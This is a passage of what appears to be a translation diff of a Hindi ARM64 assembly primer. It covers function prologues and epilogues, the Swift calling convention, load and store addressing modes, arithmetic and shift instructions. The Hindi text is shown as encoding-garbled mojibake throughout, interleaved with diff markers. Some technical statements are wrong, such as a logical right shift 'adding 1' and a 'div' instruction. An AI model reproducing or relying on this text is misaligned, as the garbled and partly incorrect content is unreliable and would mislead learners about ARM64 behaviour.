**рдЙрдкрд╕рдВрд╣рд╛рд░** рдЖрдорддреМрд░ рдкрд░ **рд╕рд╣реЗрдЬреЗ рдЧрдП рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ** рдФрд░ рдлрд╝рдВрдХреНрд╢рди рд╕реЗ **рд▓реМрдЯрдиреЗ** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред +рдЬрдм рдЕрд╕реЗрдВрдмрд▓реА рдореЗрдВ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдкрдврд╝рддреЗ рд╣реИрдВ, рддреЛ **рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛ рдФрд░ рдЙрдкрд╕рдВрд╣рд╛рд░** рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВред **рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛** рдЖрдорддреМрд░ рдкрд░ **рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ (`x29`)** рдХреЛ **рд╕рд╣реЗрдЬрдиреЗ**, рдПрдХ **рдирдпрд╛ рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░** рд╕реЗрдЯ рдХрд░рдиреЗ рдФрд░ **рд╕реНрдЯреИрдХ рд╕реНрдкреЗрд╕ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИред **рдЙрдкрд╕рдВрд╣рд╛рд░** рдЖрдорддреМрд░ рдкрд░ **рд╕рд╣реЗрдЬреЗ рдЧрдП рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ** рдФрд░ рдлрд╝рдВрдХреНрд╢рди рд╕реЗ **рд▓реМрдЯрдиреЗ** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред ### рд╕реНрд╡рд┐рдлреНрдЯ рдореЗрдВ рдХреЙрд▓рд┐рдВрдЧ рдХрдиреНрд╡реЗрдВрд╢рди -рд╕реНрд╡рд┐рдлреНрдЯ рдореЗрдВ рдЕрдкрдиреА **рдХреЙрд▓рд┐рдВрдЧ рдХрдиреНрд╡реЗрдВрд╢рди** рд╣реИ рдЬрд┐рд╕реЗ [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рд╕реНрд╡рд┐рдлреНрдЯ рдХрд╛ рдЕрдкрдирд╛ **рдХреЙрд▓рд┐рдВрдЧ рдХрдиреНрд╡реЗрдВрд╢рди** рд╣реИ рдЬрд┐рд╕реЗ [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ## **рд╕рд╛рдорд╛рдиреНрдп рдирд┐рд░реНрджреЗрд╢ (ARM64v8)** -ARM64 рдирд┐рд░реНрджреЗрд╢ рдЖрдорддреМрд░ рдкрд░ **рдлреЙрд░реНрдореЗрдЯ `opcode dst, src1, src2`** рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдБ **`opcode`** рд╡рд╣ **рдСрдкрд░реЗрд╢рди** рд╣реИ рдЬрд┐рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рд╣реИ (рдЬреИрд╕реЗ `add`, `sub`, `mov`, рдЖрджрд┐), **`dst`** рд╡рд╣ **рдЧрдВрддрд╡реНрдп** рд░рдЬрд┐рд╕реНрдЯрд░ рд╣реИ рдЬрд╣рд╛рдБ рдкрд░рд┐рдгрд╛рдо рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ **`src1`** рдФрд░ **`src2`** рд╡рд╣ **рд╕реНрд░реЛрдд** рд░рдЬрд┐рд╕реНрдЯрд░ рд╣реИрдВред рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рдорд╛рдиреЛрдВ рдХрд╛ рднреА рд╕реНрд░реЛрдд рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд╕реНрдерд╛рди рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +ARM64 рдирд┐рд░реНрджреЗрд╢ рдЖрдорддреМрд░ рдкрд░ **рдлреЙрд░реНрдореЗрдЯ `opcode dst, src1, src2`** рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдБ **`opcode`** рд╡рд╣ **рдСрдкрд░реЗрд╢рди** рд╣реИ рдЬрд┐рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рд╣реИ (рдЬреИрд╕реЗ `add`, `sub`, `mov`, рдЖрджрд┐), **`dst`** рд╡рд╣ **рдЧрдВрддрд╡реНрдп** рд░рдЬрд┐рд╕реНрдЯрд░ рд╣реИ рдЬрд╣рд╛рдБ рдкрд░рд┐рдгрд╛рдо рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ **`src1`** рдФрд░ **`src2`** рд╡рд╣ **рд╕реНрд░реЛрдд** рд░рдЬрд┐рд╕реНрдЯрд░ рд╣реИрдВред рддрддреНрдХрд╛рд▓ рдорд╛рдиреЛрдВ рдХрд╛ рднреА рд╕реНрд░реЛрдд рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд╕реНрдерд╛рди рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -- **`mov`**: рдПрдХ **рд░рдЬрд┐рд╕реНрдЯрд░** рд╕реЗ рджреВрд╕рд░реЗ рдореЗрдВ рдорд╛рди **рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд** рдХрд░реЗрдВред -- рдЙрджрд╛рд╣рд░рдг: `mov x0, x1` тАФ рдпрд╣ рдорд╛рди рдХреЛ `x1` рд╕реЗ `x0` рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред +- **`mov`**: рдПрдХ **рд░рдЬрд┐рд╕реНрдЯрд░** рд╕реЗ рджреВрд╕рд░реЗ рдореЗрдВ рдПрдХ рдорд╛рди **рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд** рдХрд░реЗрдВред +- рдЙрджрд╛рд╣рд░рдг: `mov x0, x1` тАФ рдпрд╣ `x1` рд╕реЗ `x0` рдореЗрдВ рдорд╛рди рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред - **`ldr`**: **рдореЗрдореЛрд░реА** рд╕реЗ рдПрдХ рдорд╛рди рдХреЛ **рд░рдЬрд┐рд╕реНрдЯрд░** рдореЗрдВ **рд▓реЛрдб** рдХрд░реЗрдВред - рдЙрджрд╛рд╣рд░рдг: `ldr x0, [x1]` тАФ рдпрд╣ `x1` рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рд╕реЗ рдПрдХ рдорд╛рди рдХреЛ `x0` рдореЗрдВ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред - **рдСрдлрд╕реЗрдЯ рдореЛрдб**: рдПрдХ рдСрдлрд╕реЗрдЯ рдЬреЛ рдУрд░рд┐рдЬрд┐рди рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: - `ldr x2, [x1, #8]`, рдпрд╣ x2 рдореЗрдВ x1 + 8 рд╕реЗ рдорд╛рди рд▓реЛрдб рдХрд░реЗрдЧрд╛ред -- `ldr x2, [x0, x1, lsl #2]`, рдпрд╣ x2 рдореЗрдВ x0 рдХреЗ рдРрд░реЗ рд╕реЗ рдПрдХ рд╡рд╕реНрддреБ рд▓реЛрдб рдХрд░реЗрдЧрд╛, рд╕реНрдерд┐рддрд┐ x1 (рд╕реВрдЪрдХрд╛рдВрдХ) \* 4 рд╕реЗред -- **рдкреВрд░реНрд╡-рд╕реВрдЪреАрдмрджреНрдз рдореЛрдб**: рдпрд╣ рдУрд░рд┐рдЬрд┐рди рдкрд░ рдЧрдгрдирд╛рдПрдБ рд▓рд╛рдЧреВ рдХрд░реЗрдЧрд╛, рдкрд░рд┐рдгрд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдФрд░ рдирдП рдУрд░рд┐рдЬрд┐рди рдХреЛ рднреА рдУрд░рд┐рдЬрд┐рди рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛ред +- `ldr x2, [x0, x1, lsl #2]`, рдпрд╣ x2 рдореЗрдВ x0 рдХреЗ рдПрд░реЗ рд╕реЗ рдПрдХ рд╡рд╕реНрддреБ рд▓реЛрдб рдХрд░реЗрдЧрд╛, рд╕реНрдерд┐рддрд┐ x1 (рд╕реВрдЪрдХрд╛рдВрдХ) \* 4 рд╕реЗред +- **рдкреВрд░реНрд╡-рдирд┐рд░реНрджреЗрд╢рд┐рдд рдореЛрдб**: рдпрд╣ рдореВрд▓ рдкрд░ рдЧрдгрдирд╛рдПрдБ рд▓рд╛рдЧреВ рдХрд░реЗрдЧрд╛, рдкрд░рд┐рдгрд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдФрд░ рдирдП рдореВрд▓ рдХреЛ рднреА рдореВрд▓ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛ред - `ldr x2, [x1, #8]!`, рдпрд╣ `x1 + 8` рдХреЛ `x2` рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдЧрд╛ рдФрд░ `x1` рдореЗрдВ `x1 + 8` рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛ред - `str lr, [sp, #-4]!`, рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ sp рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВ рдФрд░ рд░рдЬрд┐рд╕реНрдЯрд░ sp рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред -- **рдкреЛрд╕реНрдЯ-рд╕реВрдЪреАрдмрджреНрдз рдореЛрдб**: рдпрд╣ рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреА рддрд░рд╣ рд╣реИ рд▓реЗрдХрд┐рди рдореЗрдореЛрд░реА рдкрддреЗ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдСрдлрд╕реЗрдЯ рдХреА рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЬрд╛рддреА рд╣реИред +- **рдкреЛрд╕реНрдЯ-рдирд┐рд░реНрджреЗрд╢рд┐рдд рдореЛрдб**: рдпрд╣ рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди рдореЗрдореЛрд░реА рдкрддрд╛ рдкрд╣рд▓реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдСрдлрд╕реЗрдЯ рдХреА рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЬрд╛рддреА рд╣реИред - `ldr x0, [x1], #8`, `x1` рдХреЛ `x0` рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ `x1` рдХреЛ `x1 + 8` рдХреЗ рд╕рд╛рде рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред - **PC-рд╕рд╛рдкреЗрдХреНрд╖ рдкрддрд╛ рд▓рдЧрд╛рдирд╛**: рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрддрд╛ PC рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИред - `ldr x1, =_start`, рдпрд╣ `_start` рдкреНрд░рддреАрдХ рдХреЗ рдкреНрд░рд╛рд░рдВрдн рд╣реЛрдиреЗ рдХрд╛ рдкрддрд╛ x1 рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдЧрд╛ рдЬреЛ рд╡рд░реНрддрдорд╛рди PC рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред -- **`str`**: рдПрдХ **рд░рдЬрд┐рд╕реНрдЯрд░** рд╕реЗ **рдореЗрдореЛрд░реА** рдореЗрдВ рдорд╛рди **рд╕реНрдЯреЛрд░** рдХрд░реЗрдВред +- **`str`**: рдПрдХ **рд░рдЬрд┐рд╕реНрдЯрд░** рд╕реЗ **рдореЗрдореЛрд░реА** рдореЗрдВ рдПрдХ рдорд╛рди **рд╕рдВрдЧреНрд░рд╣реАрдд** рдХрд░реЗрдВред - рдЙрджрд╛рд╣рд░рдг: `str x0, [x1]` тАФ рдпрд╣ `x0` рдореЗрдВ рдорд╛рди рдХреЛ `x1` рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред -- **`ldp`**: **рд░рдЬрд┐рд╕реНрдЯрд░ рдХреА рдЬреЛрдбрд╝реА рд▓реЛрдб рдХрд░реЗрдВ**ред рдпрд╣ рдирд┐рд░реНрджреЗрд╢ **рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░** рдХреЛ **рд▓рдЧрд╛рддрд╛рд░ рдореЗрдореЛрд░реА** рд╕реНрдерд╛рдиреЛрдВ рд╕реЗ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред рдореЗрдореЛрд░реА рдкрддрд╛ рдЖрдорддреМрд░ рдкрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдорд╛рди рдХреЗ рд╕рд╛рде рдПрдХ рдСрдлрд╕реЗрдЯ рдЬреЛрдбрд╝рдХрд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **`ldp`**: **рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдЬреЛрдбрд╝реЗ рдХреЛ рд▓реЛрдб рдХрд░реЗрдВ**ред рдпрд╣ рдирд┐рд░реНрджреЗрд╢ **рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ** рдХреЛ **рд▓рдЧрд╛рддрд╛рд░ рдореЗрдореЛрд░реА** рд╕реНрдерд╛рдиреЛрдВ рд╕реЗ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред рдореЗрдореЛрд░реА рдкрддрд╛ рдЖрдорддреМрд░ рдкрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдорд╛рди рдХреЗ рд╕рд╛рде рдПрдХ рдСрдлрд╕реЗрдЯ рдЬреЛрдбрд╝рдХрд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - рдЙрджрд╛рд╣рд░рдг: `ldp x0, x1, [x2]` тАФ рдпрд╣ `x0` рдФрд░ `x1` рдХреЛ `x2` рдФрд░ `x2 + 8` рдкрд░ рдореЗрдореЛрд░реА рд╕реНрдерд╛рдиреЛрдВ рд╕реЗ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред -- **`stp`**: **рд░рдЬрд┐рд╕реНрдЯрд░ рдХреА рдЬреЛрдбрд╝реА рд╕реНрдЯреЛрд░ рдХрд░реЗрдВ**ред рдпрд╣ рдирд┐рд░реНрджреЗрд╢ **рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░** рдХреЛ **рд▓рдЧрд╛рддрд╛рд░ рдореЗрдореЛрд░реА** рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред рдореЗрдореЛрд░реА рдкрддрд╛ рдЖрдорддреМрд░ рдкрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдорд╛рди рдХреЗ рд╕рд╛рде рдПрдХ рдСрдлрд╕реЗрдЯ рдЬреЛрдбрд╝рдХрд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **`stp`**: **рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдЬреЛрдбрд╝реЗ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВ**ред рдпрд╣ рдирд┐рд░реНрджреЗрд╢ **рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ** рдХреЛ **рд▓рдЧрд╛рддрд╛рд░ рдореЗрдореЛрд░реА** рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред рдореЗрдореЛрд░реА рдкрддрд╛ рдЖрдорддреМрд░ рдкрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдорд╛рди рдХреЗ рд╕рд╛рде рдПрдХ рдСрдлрд╕реЗрдЯ рдЬреЛрдбрд╝рдХрд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - рдЙрджрд╛рд╣рд░рдг: `stp x0, x1, [sp]` тАФ рдпрд╣ `x0` рдФрд░ `x1` рдХреЛ `sp` рдФрд░ `sp + 8` рдкрд░ рдореЗрдореЛрд░реА рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред - `stp x0, x1, [sp, #16]!` тАФ рдпрд╣ `x0` рдФрд░ `x1` рдХреЛ `sp+16` рдФрд░ `sp + 24` рдкрд░ рдореЗрдореЛрд░реА рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ `sp` рдХреЛ `sp+16` рдХреЗ рд╕рд╛рде рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИред -- **`add`**: рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВред +- **`add`**: рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ **рдЬреЛрдбрд╝реЗрдВ** рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВред - рд╕рд┐рдВрдЯреИрдХреНрд╕: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> рдЧрдВрддрд╡реНрдп - Xn2 -> рдСрдкрд░реЗрдиреНрдб 1 -- Xn3 | #imm -> рдСрдкрд░реЗрдиреНрдб 2 (рд░рдЬрд┐рд╕реНрдЯрд░ рдпрд╛ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ) +- Xn3 | #imm -> рдСрдкрд░реЗрдиреНрдб 2 (рд░рдЬрд┐рд╕реНрдЯрд░ рдпрд╛ рддрддреНрдХрд╛рд▓) - \[shift #N | RRX] -> рдПрдХ рд╢рд┐рдлреНрдЯ рдХрд░реЗрдВ рдпрд╛ RRX рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ - рдЙрджрд╛рд╣рд░рдг: `add x0, x1, x2` тАФ рдпрд╣ `x1` рдФрд░ `x2` рдореЗрдВ рдорд╛рдиреЛрдВ рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ `x0` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред - `add x5, x5, #1, lsl #12` тАФ рдпрд╣ 4096 рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ (1 рдХреЛ 12 рдмрд╛рд░ рд╢рд┐рдлреНрдЯ рдХрд░рдирд╛) -> 1 0000 0000 0000 0000 @@ -135,33 +135,33 @@ ARM64 рдирд┐рд░реНрджреЗрд╢ рдЖрдорддреМрд░ рдкрд░ **рдлреЙрд░реНрдореЗрдЯ `opco - **`sub`**: рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдШрдЯрд╛рдПрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВред - **`add`** **рд╕рд┐рдВрдЯреИрдХреНрд╕** рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред - рдЙрджрд╛рд╣рд░рдг: `sub x0, x1, x2` тАФ рдпрд╣ `x2` рдХреЗ рдорд╛рди рдХреЛ `x1` рд╕реЗ рдШрдЯрд╛рддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ `x0` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред -- **`subs`** рдпрд╣ рдШрдЯрд╛рд╡ рдХреА рддрд░рд╣ рд╣реИ рд▓реЗрдХрд┐рди рдзреНрд╡рдЬ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИред -- **`mul`**: **рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ** рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдЧреБрдгрд╛ рдХрд░реЗрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВред +- **`subs`** рдпрд╣ рдШрдЯрд╛рдиреЗ рдЬреИрд╕рд╛ рд╣реИ рд▓реЗрдХрд┐рди рдзреНрд╡рдЬ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИред +- **`mul`**: **рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ** рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ **рдЧреБрдгрд╛** рдХрд░реЗрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВред - рдЙрджрд╛рд╣рд░рдг: `mul x0, x1, x2` тАФ рдпрд╣ `x1` рдФрд░ `x2` рдореЗрдВ рдорд╛рдиреЛрдВ рдХреЛ рдЧреБрдгрд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ `x0` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред - **`div`**: рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдорд╛рди рдХреЛ рджреВрд╕рд░реЗ рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░реЗрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВред - рдЙрджрд╛рд╣рд░рдг: `div x0, x1, x2` тАФ рдпрд╣ `x1` рдХреЗ рдорд╛рди рдХреЛ `x2` рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ `x0` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **рддрд░реНрдХрд╕рдВрдЧрдд рд╢рд┐рдлреНрдЯ рдмрд╛рдПрдВ**: рдЕрдВрдд рд╕реЗ 0 рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЕрдиреНрдп рдмрд┐рдЯреНрд╕ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рдПрдВ (n-рдмрд╛рд░ 2 рд╕реЗ рдЧреБрдгрд╛ рдХрд░реЗрдВ) -- **рддрд░реНрдХрд╕рдВрдЧрдд рд╢рд┐рдлреНрдЯ рджрд╛рдПрдВ**: рд╢реБрд░реБрдЖрдд рдореЗрдВ 1 рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЕрдиреНрдп рдмрд┐рдЯреНрд╕ рдХреЛ рдкреАрдЫреЗ рдХреА рдУрд░ рдмрдврд╝рд╛рдПрдВ (unsigned рдореЗрдВ n-рдмрд╛рд░ 2 рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░реЗрдВ) -- **рдЧрдгрд┐рддреАрдп рд╢рд┐рдлреНрдЯ рджрд╛рдПрдВ**: **`lsr`** рдХреА рддрд░рд╣, рд▓реЗрдХрд┐рди рдпрджрд┐ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдЯ 1 рд╣реИ, рддреЛ 0 рдЬреЛрдбрд╝рдиреЗ рдХреЗ рдмрдЬрд╛рдп, **1s рдЬреЛрдбрд╝реЗ рдЬрд╛рддреЗ рд╣реИрдВ** (signed рдореЗрдВ n-рдмрд╛рд░ 2 рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░реЗрдВ) -- **рджрд╛рдПрдВ рдШреБрдорд╛рдирд╛**: **`lsr`** рдХреА рддрд░рд╣ рд▓реЗрдХрд┐рди рдЬреЛ рдХреБрдЫ рджрд╛рдПрдВ рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЙрд╕реЗ рдмрд╛рдПрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред -- **рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХреЗ рд╕рд╛рде рджрд╛рдПрдВ рдШреБрдорд╛рдирд╛**: **`ror`** рдХреА рддрд░рд╣, рд▓реЗрдХрд┐рди рдХреИрд░реА рдзреНрд╡рдЬ рдХреЛ "рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдЯ" рдХреЗ рд░реВрдк рдореЗрдВред рдЗрд╕рд▓рд┐рдП рдХреИрд░реА рдзреНрд╡рдЬ рдХреЛ рдмрд┐рдЯ 31 рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдмрд┐рдЯ рдХреИрд░реА рдзреНрд╡рдЬ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИред -- **`bfm`**: **рдмрд┐рдЯ рдлрд╝реАрд▓реНрдб рдореВрд╡**, рдпреЗ рдСрдкрд░реЗрд╢рди **`0...n`** рд╕реЗ рдмрд┐рдЯреНрд╕ рдХреЛ рдПрдХ рдорд╛рди рд╕реЗ рдХреЙрдкреА рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ **`m..m+n`** рдореЗрдВ рд░рдЦрддреЗ рд╣реИрдВред **`#s`** рд╕рдмрд╕реЗ **рдмрд╛рдПрдВ рдмрд┐рдЯ** рд╕реНрдерд┐рддрд┐ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ **`#r`** **рджрд╛рдПрдВ 